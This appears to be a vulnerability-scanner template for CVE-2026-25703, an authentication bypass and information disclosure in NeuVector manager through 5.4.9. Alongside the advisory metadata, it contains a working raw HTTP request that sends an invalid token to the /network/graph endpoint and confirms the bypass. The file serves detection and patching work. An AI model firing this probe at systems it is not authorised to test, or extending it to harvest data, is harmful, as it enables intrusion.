CVE-2026-25703: NeuVector - Information Disclosure

id: CVE-2026-25703

info:
  name: NeuVector - Information Disclosure
  author: str4k3r
  severity: high
  description: |
    NeuVector through 5.4.9 contains an information disclosure vulnerability caused by missing authentication and cached sensitive data in the manager /network/graph API, letting remote attackers access sensitive information, exploit requires no special privileges.
  impact: |
    Remote attackers can access sensitive information from the manager API, potentially exposing confidential data.
  remediation: |
    Update to the latest version beyond 5.4.9.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-25703
    - https://github.com/neuvector/manager/security/advisories/GHSA-hx45-873x-74qv
    - https://github.com/neuvector/manager/commit/949cc1184fdf671416f788d9d2a039f8558a717d
    - https://github.com/neuvector/manager/releases/tag/v5.5.0
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cve-id: CVE-2026-25703
    epss-score: 0.00804
    epss-percentile: 0.5499
    cwe-id: CWE-202
  metadata:
    verified: true
    max-request: 1
    vendor: suse
    product: neuvector-manager
  tags: cve,cve2026,neuvector,suse,manager,auth-bypass,disclosure

variables:
  marker: '{{randstr}}'

http:
  - raw:
      - |
        GET /network/graph/layout?user={{marker}} HTTP/1.1
        Host: {{Hostname}}
        Token: invalid

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - "application/json"

      - type: word
        part: body
        words:
          - '"user":"{{marker}}"'
# digest: 4a0a0047304502201fd725546d8ab15700510e26e72d55670729a956c408a587fcb1fcd8f71efbe0022100bcc78e673e709902d90c620b2f79027cf994d713e5430715038a2f99f024676b:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.